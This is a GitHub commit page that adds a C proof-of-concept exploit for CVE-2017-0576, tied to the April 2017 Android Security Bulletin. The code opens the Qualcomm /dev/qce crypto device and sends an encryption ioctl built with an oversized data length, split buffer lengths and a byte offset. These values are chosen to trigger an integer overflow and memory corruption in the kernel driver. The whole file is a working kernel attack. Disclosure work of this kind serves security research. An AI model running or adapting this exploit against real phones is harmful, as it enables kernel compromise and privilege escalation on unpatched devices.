Skip to content

Commit 0dd1a73

Browse files
committed
Android Security Bulletin—April 2017
1 parent 16dd831 commit 0dd1a73

File tree

1 file changed

+160
-0
lines changed

1 file changed

+160
-0
lines changed

Diff for: CVE-2017-0576/qcom_qcedev_byteoffset_overflow.c

+160
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
#include <stdlib.h>
2+
#include <stdio.h>
3+
#include <unistd.h>
4+
#include <sys/ioctl.h>
5+
#include <sys/types.h>
6+
#include <sys/stat.h>
7+
#include <sys/mman.h>
8+
#include <fcntl.h>
9+
#include <limits.h>
10+
#include <inttypes.h>
11+
12+
13+
/*
14+
* PoC By Scott Bauer
15+
* Bug found by derrek
16+
*/
17+
18+
19+
static const char *dev = "/dev/qce";
20+
21+
#define QCEDEV_MAX_KEY_SIZE 64
22+
#define QCEDEV_MAX_IV_SIZE 32
23+
#define QCEDEV_MAX_BUFFERS 16
24+
25+
26+
struct buf_info {
27+
union {
28+
uint32_t offset;
29+
uint8_t *vaddr;
30+
};
31+
uint32_t len;
32+
};
33+
struct qcedev_vbuf_info {
34+
struct buf_info src[QCEDEV_MAX_BUFFERS];
35+
struct buf_info dst[QCEDEV_MAX_BUFFERS];
36+
};
37+
38+
struct qcedev_pmem_info {
39+
int fd_src;
40+
struct buf_info src[QCEDEV_MAX_BUFFERS];
41+
int fd_dst;
42+
struct buf_info dst[QCEDEV_MAX_BUFFERS];
43+
};
44+
45+
enum qcedev_oper_enum {
46+
QCEDEV_OPER_DEC = 0,
47+
QCEDEV_OPER_ENC = 1,
48+
QCEDEV_OPER_DEC_NO_KEY = 2,
49+
QCEDEV_OPER_ENC_NO_KEY = 3,
50+
QCEDEV_OPER_LAST
51+
};
52+
53+
enum qcedev_cipher_alg_enum {
54+
QCEDEV_ALG_DES = 0,
55+
QCEDEV_ALG_3DES = 1,
56+
QCEDEV_ALG_AES = 2,
57+
QCEDEV_ALG_LAST
58+
};
59+
60+
enum qcedev_cipher_mode_enum {
61+
QCEDEV_AES_MODE_CBC = 0,
62+
QCEDEV_AES_MODE_ECB = 1,
63+
QCEDEV_AES_MODE_CTR = 2,
64+
QCEDEV_AES_MODE_XTS = 3,
65+
QCEDEV_AES_MODE_CCM = 4,
66+
QCEDEV_DES_MODE_CBC = 5,
67+
QCEDEV_DES_MODE_ECB = 6,
68+
QCEDEV_AES_DES_MODE_LAST
69+
};
70+
71+
struct qcedev_cipher_op_req {
72+
uint8_t use_pmem;
73+
union {
74+
struct qcedev_pmem_info pmem;
75+
struct qcedev_vbuf_info vbuf;
76+
};
77+
uint32_t entries;
78+
uint32_t data_len;
79+
uint8_t in_place_op;
80+
uint8_t enckey[QCEDEV_MAX_KEY_SIZE];
81+
uint32_t encklen;
82+
uint8_t iv[QCEDEV_MAX_IV_SIZE];
83+
uint32_t ivlen;
84+
uint32_t byteoffset;
85+
enum qcedev_cipher_alg_enum alg;
86+
enum qcedev_cipher_mode_enum mode;
87+
enum qcedev_oper_enum op;
88+
};
89+
90+
#define QCEDEV_IOC_MAGIC 0x87
91+
92+
#define QCEDEV_IOCTL_ENC_REQ \
93+
_IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req)
94+
#define QCEDEV_IOCTL_DEC_REQ \
95+
_IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req)
96+
97+
98+
99+
void thread_func(unsigned int start, unsigned int end, int fd)
100+
{
101+
struct qcedev_cipher_op_req req = { 0 };
102+
unsigned int i;
103+
char *data;
104+
105+
data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);
106+
if (data == MAP_FAILED) {
107+
printf("mmap failed, get a better phone\n");
108+
exit(0);
109+
}
110+
for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*))
111+
*((unsigned long *)(data + i)) = 0xABADACC355001337;
112+
113+
114+
req.in_place_op = 1;
115+
/* setup the parameters to pass a few sanity checks */
116+
req.entries = 2;
117+
req.byteoffset = 15;
118+
req.mode = QCEDEV_AES_MODE_CTR;
119+
120+
req.op = QCEDEV_OPER_ENC;//_NO_KEY;
121+
req.ivlen = 1;
122+
req.data_len = 0xFFFFFFFE;
123+
req.vbuf.src[0].len = 4;
124+
req.vbuf.src[1].len = 0xFFFFFFFE - 4;
125+
req.vbuf.src[0].vaddr = (uint8_t*)data;
126+
req.vbuf.src[1].vaddr = (uint8_t*)data;
127+
req.vbuf.dst[0].len = 4;
128+
req.vbuf.dst[1].len = 0xFFFFFFFE - 4;
129+
req.vbuf.dst[0].vaddr = (uint8_t*)data;
130+
req.vbuf.dst[1].vaddr = (uint8_t*)data;
131+
132+
133+
ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req);
134+
135+
printf("exiting\n");
136+
exit(0);
137+
}
138+
139+
int main(void)
140+
{
141+
int fd;
142+
unsigned int i;
143+
unsigned int start = 0;
144+
unsigned int _gap = ~0;
145+
unsigned int gap = _gap / 8;
146+
struct qcedev_cipher_op_req req = { 0 };
147+
//char data[32] = { A };
148+
char *data;
149+
fd = open(dev, O_RDWR);
150+
if (fd < 0) {
151+
printf("Failed to open %s with errno %s\n", dev,
152+
strerror(errno));
153+
return EXIT_FAILURE;
154+
155+
}
156+
thread_func(start, start + gap, fd);
157+
158+
sleep(1000000);
159+
return EXIT_FAILURE;
160+
}

0 commit comments

Comments
 (0)